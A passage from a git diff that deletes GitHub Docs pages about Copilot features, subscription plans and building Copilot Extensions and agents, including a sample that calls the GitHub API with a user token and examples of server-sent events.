[AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request). - -### {% data variables.product.prodname_copilot_autocomplete_pr %} ({% data variables.release-phases.public_preview %}) - -AI-generated text completion to help you write pull request descriptions quickly and accurately. For more information, see [AUTOTITLE](/copilot/using-github-copilot/using-copilot-text-completion). - -### {% data variables.product.prodname_copilot_extensions %} ({% data variables.release-phases.public_preview %}) - -{% data reusables.copilot.copilot-extensions.copilot-extensions-intro %} For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/about-building-copilot-extensions). - -### GitHub Models ({% data variables.release-phases.public_preview %}) - -Bringing the power of industry leading large and small language models to users directly on {% data variables.product.github %}. For more information, see [AUTOTITLE](/github-models). - -### {% data variables.product.prodname_copilot %} code review ({% data variables.release-phases.public_preview %}) - -AI-generated code review suggestions to help you write better code. For more information, see [AUTOTITLE](/copilot/using-github-copilot/code-review/using-copilot-code-review). - -### {% data variables.product.prodname_copilot_edits_short %} - -{% data variables.product.prodname_copilot_edits_short %} is available in {% data variables.product.prodname_vscode %} and JetBrains IDEs. {% data reusables.copilot.copilot-edits.about-copilot-edits %} - -For more information about {% data variables.product.prodname_copilot_edits_short %} in {% data variables.product.prodname_vscode %}, see [{% data variables.product.prodname_copilot_edits_short %}](https://code.visualstudio.com/docs/copilot/copilot-edits) in the {% data variables.product.prodname_vscode %} documentation. - -### {% data variables.product.prodname_copilot_short %} knowledge bases _({% data variables.product.prodname_copilot_enterprise_short %} only)_ - -Create and manage collections of documentation to use as context for chatting with {% data variables.product.prodname_copilot_short %}. When you ask a question in {% data variables.product.prodname_copilot_chat_dotcom_short %} or in {% data variables.product.prodname_vscode_shortname %}, you can specify a knowledge base as the context for your question. For more information, see [AUTOTITLE](/copilot/customizing-copilot/managing-copilot-knowledge-bases). - -## {% data variables.product.prodname_copilot %} features for administrators - -The following features are available to organization and enterprise owners with a {% data variables.product.prodname_copilot_business_short %} or {% data variables.product.prodname_copilot_enterprise_short %} subscription. - -### Policy management - -Manage policies for {% data variables.product.prodname_copilot_short %} in your organization or enterprise. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization) and [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise). - -### Access management - -Enterprise owners can specify which organizations in the enterprise can use {% data variables.product.prodname_copilot_short %}, and organization owners can specify which organization members can use Copilot. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization) and [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise). - -### Usage data - -Review {% data variables.product.prodname_copilot_short %} usage data within your organization or enterprise to inform how to manage access and drive adoption of {% data variables.product.prodname_copilot_short %}. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/reviewing-user-activity-data-for-copilot-in-your-organization) and [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/viewing-copilot-license-usage-in-your-enterprise). - -### Audit logs - -Review audit logs for {% data variables.product.prodname_copilot_short %} in your organization to understand what actions have been taken and by which users. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/reviewing-audit-logs-for-copilot-business). - -### Exclude files - -Configure {% data variables.product.prodname_copilot_short %} to ignore certain files. This can be useful if you have files that you don't want to be available to {% data variables.product.prodname_copilot_short %}. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/excluding-content-from-github-copilot). - -## Next steps - -* To learn more about the subscription plans available for {% data variables.product.prodname_copilot %}, see [AUTOTITLE](/copilot/about-github-copilot/subscription-plans-for-github-copilot). -* To start using {% data variables.product.prodname_copilot_short %}, see [AUTOTITLE](/copilot/setting-up-github-copilot). diff --git a/content/copilot/about-github-copilot/index.md b/content/copilot/about-github-copilot/index.md deleted file mode 100644 index dce4bcd67da5..000000000000 --- a/content/copilot/about-github-copilot/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: About GitHub Copilot -shortTitle: About GitHub Copilot -intro: 'Learn about GitHub Copilot.' -versions: - feature: copilot -topics: - - Copilot -children: - - /what-is-github-copilot - - /github-copilot-features - - /subscription-plans-for-github-copilot ---- diff --git a/content/copilot/about-github-copilot/subscription-plans-for-github-copilot.md b/content/copilot/about-github-copilot/subscription-plans-for-github-copilot.md deleted file mode 100644 index 6bf9acdb1289..000000000000 --- a/content/copilot/about-github-copilot/subscription-plans-for-github-copilot.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Subscription plans for GitHub Copilot -intro: 'Learn about the subscription options for {% data variables.product.prodname_copilot_short %}.' -versions: - feature: copilot -topics: - - Copilot -shortTitle: Subscriptions ---- - -{% data variables.product.company_short %} offers multiple subscription options for {% data variables.product.prodname_copilot %}: - -* **{% data variables.product.prodname_copilot_free %}** is available to individual {% data variables.product.company_short %} customers who don't have access to {% data variables.product.prodname_copilot_short %} through an organization or enterprise. This free tier provides limited access to select features of {% data variables.product.prodname_copilot_short %}, allowing you to experience AI-powered coding assistance without a subscription. -* **{% data variables.product.prodname_copilot_pro %}** is available to individual {% data variables.product.company_short %} customers who don't have access to {% data variables.product.prodname_copilot_short %} through an organization or enterprise. This paid tier offers full access to all {% data variables.product.prodname_copilot_short %} features, including advanced capabilities, for a comprehensive AI coding experience. While standard {% data variables.product.prodname_copilot_short %} usage is unlimited, models within {% data variables.product.prodname_copilot_short %} that are currently in public preview are subject to changes, rate limits, and evolving performance. For details, see [AUTOTITLE](/github-models/prototyping-with-ai-models#rate-limits). -* **{% data variables.product.prodname_copilot_for_business %}** is available for organizations with a {% data variables.product.prodname_free_team %} or {% data variables.product.prodname_team %} plan, or enterprises on {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.prodname_copilot_business_short %} gives organizations and enterprises control over {% data variables.product.prodname_copilot_short %} policies, including which members can use {% data variables.product.prodname_copilot_short %}. -* **{% data variables.product.prodname_copilot_enterprise %}** is available for enterprises on {% data variables.product.prodname_ghe_cloud %}. In addition to all of the {% data variables.product.prodname_copilot_business_short %} features, {% data variables.product.prodname_copilot_enterprise_short %} provides additional AI features on {% data variables.product.company_short %}. With this subscription plan you can choose to assign either {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %} to each individual organization in the enterprise. - -{% data variables.product.prodname_copilot_short %} is not currently available for {% data variables.product.prodname_ghe_server %}. - -## Comparing {% data variables.product.prodname_copilot_short %} subscriptions - -{% data reusables.copilot.differences-cfi-cfb-table %} - -For more information, see [AUTOTITLE](/copilot/about-github-copilot/github-copilot-features). - -## Next steps - -* To set up {% data variables.product.prodname_copilot_free %}, see [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/about-github-copilot-free). -* To subscribe to {% data variables.product.prodname_copilot_pro %}, you can <a href="https://github.com/github-copilot/signup?ref_cta=Copilot+trial&ref_loc=about+github+copilot&ref_page=docs" target="_blank"><span>try {% data variables.product.prodname_copilot %} for free</span></a> with a one-time 30-day trial. To continue using {% data variables.product.prodname_copilot_short %} after the trial, you will need a paid subscription, unless you are a verified student, teacher, or maintainer of a popular open source project on {% data variables.product.prodname_dotcom %}. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/subscribing-to-copilot-as-an-individual-user). -* To subscribe to {% data variables.product.prodname_copilot_for_business %}, you can either sign up for a free 30-day trial of [{% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/admin/overview/setting-up-a-trial-of-github-enterprise-cloud), or purchase a subscription for your organization or enterprise. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/subscribing-to-copilot-for-your-organization). -* To subscribe to {% data variables.product.prodname_copilot_enterprise %}, see [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/subscribing-to-copilot-for-your-enterprise). diff --git a/content/copilot/about-github-copilot/what-is-github-copilot.md b/content/copilot/about-github-copilot/what-is-github-copilot.md deleted file mode 100644 index 3d3f62b38067..000000000000 --- a/content/copilot/about-github-copilot/what-is-github-copilot.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: What is GitHub Copilot? -intro: 'Learn what {% data variables.product.prodname_copilot %} is and what you can do with it.' -versions: - feature: copilot -topics: - - Copilot -shortTitle: What is GitHub Copilot? -redirect_from: - - /copilot/copilot-individual - - /copilot/copilot-individual/about-github-copilot-individual - - /copilot/copilot-business/about-github-copilot-business - - /copilot/github-copilot-enterprise/about-github-copilot-enterprise - - /copilot/github-copilot-enterprise/overview - - /copilot/overview-of-github-copilot/about-github-copilot-for-individuals - - /copilot/overview-of-github-copilot/about-github-copilot - - /copilot/overview-of-github-copilot/about-github-copilot-individual - - /copilot/overview-of-github-copilot/about-github-copilot-for-business - - /copilot/overview-of-github-copilot/about-github-copilot-business - - /copilot/github-copilot-enterprise/overview/about-github-copilot-enterprise - - /copilot/configuring-github-copilot/configuring-github-copilot-settings-in-your-organization - - /copilot/managing-copilot-business - - /copilot/managing-copilot-for-business - - /copilot/github-copilot-enterprise - - /copilot/copilot-business ---- - -{% data variables.product.prodname_copilot %} is an AI coding assistant that helps you write code faster and with less effort, allowing you to focus more energy on problem solving and collaboration. - -{% data variables.product.prodname_copilot %} has been proven to increase developer productivity and accelerate the pace of software development. For more information, see [Research: quantifying {% data variables.product.prodname_copilot %}’s impact on developer productivity and happiness](https://github.blog/2022-09-07-research-quantifying-github-copilots-impact-on-developer-productivity-and-happiness/) in the {% data variables.product.prodname_dotcom %} blog. - -## {% data variables.product.prodname_copilot_short %} features - -{% data variables.product.prodname_copilot %} includes a suite of features. You can use {% data variables.product.prodname_copilot_short %} to: - -* Get code suggestions as you type in your IDE -* Chat with {% data variables.product.prodname_copilot_short %} to ask for help with your code -* Ask {% data variables.product.prodname_copilot_short %} for help using the command line -* Generate a description of the changes in a pull request _({% data variables.product.prodname_copilot_enterprise_short %} only)_ -* Create and manage collections of documentation, called knowledge bases, to use as a context for chatting with {% data variables.product.prodname_copilot_short %} _({% data variables.product.prodname_copilot_enterprise_short %} only)_ - -{% data variables.product.prodname_copilot_short %} is available: - -* In your IDE -* In {% data variables.product.prodname_mobile %}, as a chat interface -* In {% data variables.product.prodname_windows_terminal %} Canary, through the Terminal Chat interface -* On the command line, through the {% data variables.product.prodname_cli %} -* On the {% data variables.product.github %} website - -For more information, see [AUTOTITLE](/copilot/about-github-copilot/github-copilot-features). - -## Getting access to {% data variables.product.prodname_copilot_short %} - -**As an individual**, there are a few different ways you can get access to {% data variables.product.prodname_copilot %}: - -* _Set up {% data variables.product.prodname_copilot_free_short %}_. {% data variables.product.prodname_copilot_free_short %} enables you to enjoy limited access to some of the features of {% data variables.product.prodname_copilot %}, without needing to sign up for a subscription. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/about-github-copilot-free). -* _Sign up for a subscription to {% data variables.product.prodname_copilot_pro %}_. You can <a href="https://github.com/github-copilot/signup?ref_cta=Copilot+trial&ref_loc=about+github+copilot&ref_page=docs" target="_blank"><span>try {% data variables.product.prodname_copilot %} for free</span></a> with a one-time 30-day trial. After the free trial, you will need a paid subscription for continued use. -* _If you are a member of an organization or enterprise_ that has a subscription to {% data variables.product.prodname_copilot %}, you can request access to {% data variables.product.prodname_copilot_short %} by going to [https://github.com/settings/copilot](https://github.com/settings/copilot) and requesting access under "Get Copilot from an organization." -* _If you are a verified student, teacher, or maintainer of a popular open source project_, {% data variables.product.prodname_copilot %} is free to use. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/getting-free-access-to-copilot-as-a-student-teacher-or-maintainer). - -**As an organization owner**, you can purchase a subscription to {% data variables.product.prodname_copilot_for_business %} for your organization. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/subscribing-to-copilot-for-your-organization). If your organization is owned by an enterprise that has a {% data variables.product.prodname_copilot_short %} subscription, you can ask your enterprise owner to enable {% data variables.product.prodname_copilot_short %} for your organization by going to [https://github.com/settings/copilot](https://github.com/settings/copilot) and requesting access under "Get Copilot from an organization." - -**As an enterprise owner**, you can purchase a subscription to {% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %} for your enterprise, and allow organizations to grant access to members. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/subscribing-to-copilot-for-your-enterprise). - -**As a prospective enterprise owner**, you can sign up for a free 30-day trial of {% data variables.product.prodname_ghe_cloud %}, including {% data variables.product.prodname_copilot_business_short %}. See [AUTOTITLE](/enterprise-cloud@latest/admin/overview/setting-up-a-trial-of-github-enterprise-cloud). - -If you **don't need other features**, you can request an enterprise account specifically for managing {% data variables.product.prodname_copilot_for_business %} licenses. You won't pay for {% data variables.product.prodname_enterprise %} seats, and you won't be able to create organizations or repositories. See [AUTOTITLE](/enterprise-cloud@latest/admin/copilot-business-only/about-enterprise-accounts-for-copilot-business). - -## Next steps - -* To learn more about the Copilot features, see [AUTOTITLE](/copilot/about-github-copilot/github-copilot-features). -* To start using Copilot, see [AUTOTITLE](/copilot/setting-up-github-copilot). - -## Further reading - -* [Frequently asked questions](https://github.com/features/copilot#faq) about {% data variables.product.prodname_copilot %} -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center/) diff --git a/content/copilot/building-copilot-extensions/about-building-copilot-extensions.md b/content/copilot/building-copilot-extensions/about-building-copilot-extensions.md deleted file mode 100644 index cc566fc5ed45..000000000000 --- a/content/copilot/building-copilot-extensions/about-building-copilot-extensions.md +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: About building Copilot Extensions -intro: 'Learn about the development process for {% data variables.product.prodname_copilot_extensions_short %}.' -product: '{% data reusables.gated-features.copilot-extensions %}' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: About building Extensions -type: overview ---- - -## About {% data variables.product.prodname_copilot_extensions_short %} - -{% data variables.product.prodname_copilot_extensions_short %} are integrations that expand the functionality of {% data variables.product.prodname_copilot_chat_short %}, allowing developers to bring external tools, services, and custom behaviors into the Chat experience. You can use {% data variables.product.prodname_copilot_extensions_short %} to extend the capabilities of {% data variables.product.prodname_copilot_chat_short %} in a variety of ways, including: - -* **Querying documentation:** A {% data variables.product.prodname_copilot_extension_short %} can allow {% data variables.product.prodname_copilot_chat_short %} to query a third-party documentation service to find information about a specific topic. -* **AI-assisted coding:** A {% data variables.product.prodname_copilot_extension_short %} can use a third-party AI model to provide code suggestions. -* **Data retrieval:** A {% data variables.product.prodname_copilot_extension_short %} can allow {% data variables.product.prodname_copilot_chat_short %} to query a third-party data service to retrieve information about a specific topic. -* **Action execution:** A {% data variables.product.prodname_copilot_extension_short %} can allow {% data variables.product.prodname_copilot_chat_short %} to execute a specific action, such as posting to a message board or updating a tracking item in an external system. - -## About building {% data variables.product.prodname_copilot_extensions %} - -{% data variables.product.prodname_copilot_extensions %} are a type of {% data variables.product.prodname_copilot_extension_short %} built with {% data variables.product.prodname_github_apps %}. {% data variables.product.prodname_copilot_extensions %} are best suited for developers who want cross-platform compatibility and app management and support from {% data variables.product.github %}. - -### Supported clients and IDEs - -{% data reusables.copilot.copilot-extensions.supported-clients-and-ides-table %} - -### About visibility of {% data variables.product.prodname_copilot_extensions %} - -{% data variables.product.prodname_copilot_extensions %} can be private, public and shareable, or public and listed on the {% data variables.product.prodname_marketplace %}. Which visibility option you choose will depend on your use case and the audience you are targeting. - -* Private extensions are often preferred by large enterprises or companies that: - * Want more customization and controls over data access - * Need to integrate with a large volume of internal documents and databases - * Have strict security policies making it difficult to authorize permissions for third-parties -* Public extensions are suitable for: - * Open-source projects - * Collaborative development and use across organizations within an enterprise - * Sharing your tool and getting feedback before publishing to the {% data variables.product.prodname_marketplace %} -* {% data variables.product.prodname_marketplace %} extensions are ideal for third-parties that want to: - * Offer their service to a broader audience - * Integrate their tool into the developer workflow on {% data variables.product.company_short %} and the IDE - * Leverage the {% data variables.product.company_short %} ecosystem to raise awareness for their product - -### About {% data variables.product.prodname_copilot_extensions %} permissions - -{% data reusables.copilot.copilot-extensions.about-extensions-permissions %} - -#### Granting permissions to access organization resources - -Only organization admins can grant permissions for {% data variables.product.prodname_copilot_extensions_short %} to access organization resources. -To grant organization members access: -* The organization admin must install the extension. -* The organization admin must grant the extension permission to access specific repositories. -* The organization admin must authorize access for all, or specific repositories. - -### About skillsets and agents - -{% data reusables.copilot.copilot-extensions.differences-between-agents-and-skillsets-1 %} -For more information about skillsets, see [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/about-copilot-skillsets). -{% data reusables.copilot.copilot-extensions.differences-between-agents-and-skillsets-2 %} - -### About context passing - -You can allow your {% data variables.product.prodname_copilot_extension_short %} to receive context from the editor, such as the currently opened file, by enabling the **Read-only** access level for the "{% data variables.product.prodname_copilot_short %} Editor Context" permission in your {% data variables.product.prodname_github_app %} settings. See step 10 of [Configuring your {% data variables.product.prodname_github_app %}](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-extension#configuring-your-github-app). - -The {% data variables.product.prodname_copilot_extensibility_platform %} automatically handles messaging when implicit and explicit context is unavailable or unauthorized. To enable context passing, you are required to request permissions from users. To enable context passing, you are required to: - -* Update your APIs to handle new reference types. -* Request permissions from users. When requesting permissions, follow these best practices: - * Clearly communicate what context you need and what you need it for. - * Implement appropriate error handling for unavailable context that your own application logic and API calls. - * If context is unavailable, provide value where possible without this data. - * Request only the minimum required permissions for your extension. - -Context passing respects content exclusions, which refers to any files listed in your context exclusion settings, including files that begin with `.`. - -For more information about context passing, see [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/context-passing-for-your-agent). - -### Using APIs in {% data variables.product.prodname_copilot_extensions %} - -Building {% data variables.product.prodname_copilot_extensions %} requires using the {% data variables.product.github %} API. Optionally, the {% data variables.product.prodname_copilot_short %} API can be used for additional capabilities. For details on request and response formatting, see the [OpenAI API documentation](https://platform.openai.com/docs/api-reference/chat). - -> [!NOTE] The {% data variables.product.prodname_copilot_short %} API is available for {% data variables.product.prodname_copilot_extension_short %} builders, but only {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_vscode_shortname %} Chat extensions can be used to access these endpoints. - -## Resources for building {% data variables.product.prodname_copilot_extensions %} - -{% data variables.product.company_short %} provides a comprehensive toolkit for extension builders, with code samples, a CLI debugging tool, quickstart SDKs, and a user feedback repository. For more information, see the [copilot-extensions](https://github.com/orgs/copilot-extensions/) organization on {% data variables.product.company_short %}. - -Before creating your own {% data variables.product.prodname_copilot_extension %} from scratch, you may want to explore an existing {% data variables.product.prodname_copilot_agent_short %}, then integrate it with a {% data variables.product.prodname_github_app %} to see how it works. {% data variables.product.company_short %} provides a few example {% data variables.product.prodname_copilot_agents_short %} that you can clone and use as the basis for your own {% data variables.product.prodname_copilot_extension %}: - -* **Blackbeard:** A simple {% data variables.product.prodname_copilot_agent_short %} that responds to requests like a pirate, using {% data variables.product.prodname_copilot_short %}'s LLM API and special system prompts. It is a good starting point for learning how to build a {% data variables.product.prodname_copilot_extension %}. For more information, see the [Blackbeard {% data variables.product.prodname_copilot_extension_short %}](https://github.com/copilot-extensions/blackbeard-extension). -* **{% data variables.product.prodname_github_models %}:** A more complex {% data variables.product.prodname_copilot_agent_short %} that lets you ask about and interact with various LLMs listed on the {% data variables.product.prodname_marketplace %} from within {% data variables.product.prodname_copilot_chat_short %}. For more information, see the [{% data variables.product.prodname_github_models %} {% data variables.product.prodname_copilot_extension_short %}](https://github.com/copilot-extensions/github-models-extension). - - > [!NOTE] {% data variables.product.prodname_github_models %} are in {% data variables.release-phases.public_preview %} and subject to change. To request access, join the [waitlist](https://github.com/marketplace/models/waitlist). -* **Function calling:** an example agent written in Go that demonstrates function calling and confirmation dialogues. For more information, see the [Function calling extension](https://github.com/copilot-extensions/function-calling-extension). -* **RAG extension:** an example agent written in Go that demonstrates a simple implementation of retrieval augmented generation. For more information, see the [RAG extension](https://github.com/copilot-extensions/rag-extension). -* **Preview SDK:** An SDK that simplifies the process of building {% data variables.product.prodname_copilot_extensions %} by handling request verification, response formatting, and API interactions. It allows builders to focus on their extension's core functionality rather than boilerplate, by streamlining the integration of tools, APIs, and data sources into {% data variables.product.prodname_copilot_chat_short %}. For more information, see the [Preview SDK](https://github.com/copilot-extensions/preview-sdk.js). - -## About building {% data variables.product.prodname_copilot_extensions_vsc %} - -> [!NOTE] The {% data variables.product.github %} documentation focuses on building {% data variables.product.prodname_copilot_extensions %}, not {% data variables.product.prodname_copilot_extensions_vsc %}. - -You can build a {% data variables.product.prodname_copilot_extension_short %} that is exclusive and native to {% data variables.product.prodname_vscode %}, called a {% data variables.product.prodname_copilot_extensions_vsc %}. This option is best suited for developers who want to build extensions that use {% data variables.product.prodname_vscode_shortname %}-specific APIs and functionality, or extend existing {% data variables.product.prodname_vscode_shortname %} extensions. - -Also known as {% data variables.product.prodname_vscode_shortname %} Chat extensions, {% data variables.product.prodname_copilot_extensions_vsc %} function similarly to {% data variables.product.prodname_copilot_extensions %} by extending the capabilities of {% data variables.product.prodname_copilot_chat_short %}, with a few notable differences: -* {% data variables.product.prodname_vscode_shortname %} Chat extensions are only usable in {% data variables.product.prodname_vscode_shortname %}. -* {% data variables.product.prodname_vscode_shortname %} Chat extensions have more access to {% data variables.product.prodname_vscode_shortname %}'s features and APIs, allowing more editor-specific interactions like accessing local workspace data, manipulating {% data variables.product.prodname_vscode %}'s interface, and read/write access to local files. -* {% data variables.product.prodname_vscode_shortname %} Chat extensions are published to the {% data variables.product.prodname_vs_marketplace_shortname %}, not the {% data variables.product.prodname_marketplace %}. -* {% data variables.product.prodname_vscode_shortname %} Chat extensions are local to the user's machine, and cannot be controlled by an organization{% ifversion ghec %} or enterprise's{% else %}'s{% endif %} policies. - -For more information on {% data variables.product.prodname_copilot_extensions_vsc %}, see [Chat extensions](https://code.visualstudio.com/api/extension-guides/chat) in the {% data variables.product.prodname_vscode %} documentation. - -## Further reading - -* [AUTOTITLE](/copilot/building-copilot-extensions/copilot-extensions-glossary) diff --git a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/about-copilot-agents.md b/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/about-copilot-agents.md deleted file mode 100644 index 8c66d05dac51..000000000000 --- a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/about-copilot-agents.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: About Copilot agents -intro: 'Learn what {% data variables.product.prodname_copilot_agents %} are and how they can enhance your {% data variables.product.prodname_copilot_chat %} experience.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: About Copilot agents -type: overview ---- - -{% data variables.product.prodname_copilot_agents_short %} are custom tools embedded in {% data variables.product.prodname_copilot_extensions_short %}. They integrate with {% data variables.product.prodname_copilot_chat_short %} to provide additional functionalities tailored to specific needs. {% data variables.product.prodname_copilot_agents_short %} can perform various tasks such as querying documentation, retrieving data, executing specific actions, or providing AI-assisted coding suggestions. They enhance the capabilities of {% data variables.product.prodname_copilot %} by allowing developers to build and integrate custom features directly into the {% data variables.product.prodname_copilot_chat_short %} interface. - -To use a {% data variables.product.prodname_copilot_agent_short %} in {% data variables.product.prodname_copilot_chat_short %}, it must be associated with a {% data variables.product.prodname_github_app %}. This combination of a {% data variables.product.prodname_github_app %} and a {% data variables.product.prodname_copilot_agent_short %} is what we refer to as a {% data variables.product.prodname_copilot_extension %}. For more information on {% data variables.product.prodname_copilot_extensions_short %}, see [AUTOTITLE](/copilot/building-copilot-extensions/about-building-copilot-extensions). - -Any {% data variables.product.company_short %} user can create a {% data variables.product.prodname_copilot_extension_short %} by building a {% data variables.product.prodname_copilot_agent_short %} and associating it with a {% data variables.product.prodname_github_app %}. For more information on creating a {% data variables.product.prodname_copilot_extension_short %}, see [AUTOTITLE](/copilot/building-copilot-extensions/setting-up-copilot-extensions). - -## Further reading - -* [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-the-copilot-platform) -* [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-github) diff --git a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-github.md b/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-github.md deleted file mode 100644 index 5aed9d27cb30..000000000000 --- a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-github.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Configuring your Copilot agent to communicate with GitHub -intro: 'Learn how to verify payloads and get resources from {% data variables.product.github %} with your {% data variables.product.prodname_copilot_agent_short %}.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Communicate with GitHub -type: reference ---- - -## Prerequisites - -{% data reusables.copilot.copilot-extensions.agents-copilot-platform-prerequisites %} - -## Verifying that payloads are coming from {% data variables.product.github %} - -Before your {% data variables.product.prodname_copilot_agent_short %} begins processing a request, you should verify that the request came from {% data variables.product.github %}, and that it is intended for your agent. All agent requests contain the `X-GitHub-Public-Key-Identifier` and `X-GitHub-Public-Key-Signature` headers. To verify the signature for a particular request, compare the signature in the `X-GitHub-Public-Key-Signature` header with a signed copy of the request body using the current public key listed at https://api.github.com/meta/public_keys/copilot_api. - -For more details and examples of signature verification in specific languages, see the [`github-technology-partners/signature-verification`](https://github.com/github-technology-partners/signature-verification) repository. - -> ⚠️ **Note:** We currently send duplicate pairs of these headers. One set has the prefix `Github-Public-...`; the other has `X-GitHub-Public...`. The former will be {% data variables.release-phases.closing_down %} **by March 31st**. Please update your relevant checks to the correct prefix (`X-GitHub-Public...`) by then. - -## Fetching resources from the {% data variables.product.github %} API - -Requests to your {% data variables.product.prodname_copilot_agent_short %} will receive an `X-GitHub-Token` header. This header contains an API token that can be used to fetch resources from the {% data variables.product.github %} API on behalf of the user interacting with your agent. The permissions of this token are the overlap of the user's own permissions and the permissions granted to your {% data variables.product.prodname_github_app %} installation. - -For an example of how you might use `X-GitHub-Token`, see the following code sample: - -```typescript -async function whoami(req) { - const response = await fetch( - // The {% data variables.product.github %} API endpoint for the authenticated user - "https://api.github.com/user", - { - headers: { - "Authorization": `Bearer ${req.headers.get("x-github-token")}` - } - } - ) - - const user = await response.json() - return user -} -``` - -To learn more about working with {% data variables.product.github %}'s API and explore official software development kits (SDKs), see the [`octokit`](https://github.com/octokit) organization. diff --git a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-the-copilot-platform.md b/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-the-copilot-platform.md deleted file mode 100644 index da40e32fe63b..000000000000 --- a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-the-copilot-platform.md +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: Configuring your Copilot agent to communicate with the Copilot platform -intro: 'Learn how to interact with the {% data variables.product.prodname_copilot_short %} platform by sending and receiving server-sent events with your {% data variables.product.prodname_copilot_agent_short %}.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Communicate with Copilot platform -type: reference -layout: inline ---- - -{% data variables.product.prodname_copilot_agents_short %} communicate with the {% data variables.product.prodname_copilot_short %} platform in the form of server-sent events (SSEs). Rather than waiting for the {% data variables.product.prodname_copilot_short %} platform to request an update from your agent, or vice versa, you can use SSEs to send and receive updates to and from the platform in real time. - -To learn more about SSEs, see [Server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events) in the mdn documentation. - -## Sending server-sent events - -Your agent should only send one SSE for each interaction with the {% data variables.product.prodname_copilot_short %} platform. There are four predefined SSEs your agent can send: - -* [`copilot_confirmation`](#copilot_confirmation) -* [`copilot_errors`](#copilot_errors) -* [`copilot_references`](#copilot_references) -* [Default SSE](#default-sse) - -### `copilot_confirmation` - -The `copilot_confirmation` SSE sends the user a prompt to confirm an action. This SSE is sent through an event type and data field. See the following code for an example of a `copilot_confirmation` SSE: - -```typescript annotate -// -event: copilot_confirmation -data: { - // Currently, `action` is the only supported value for `type` in `copilot_confirmation`. - "type": "action", - // Title of the confirmation dialog shown to the user. - "title": "Turn off feature flag", - // Confirmation message shown to the user. - "message": "Are you sure you wish to turn off the `copilot` feature flag?", - // Optional field for the agent to include any data needed to uniquely identify this confirmation and take action once the decision is received from the client. - "confirmation": { - "id": "id-123", - "other": "identifier-as-needed", - } -} -``` - -After the user accepts or dismisses the confirmation, the agent receives a message similar to the following example: - -```typescript annotate -// -{ - "copilot_confirmations": [ - { - // A string containing the state of the confirmation. This value is either `accepted` or `dismissed`. - "state": "accepted", - // An array of strings containing data identifying the relevant action. - "confirmation": { - "id": "id-123", - "other": "identifier-as-needed", - } - } - ] -} -``` - -Based on the values in this message, the agent can then complete or cancel the appropriate action. - -### `copilot_errors` - -The `copilot_errors` SSE sends the {% data variables.product.prodname_copilot_short %} platform a 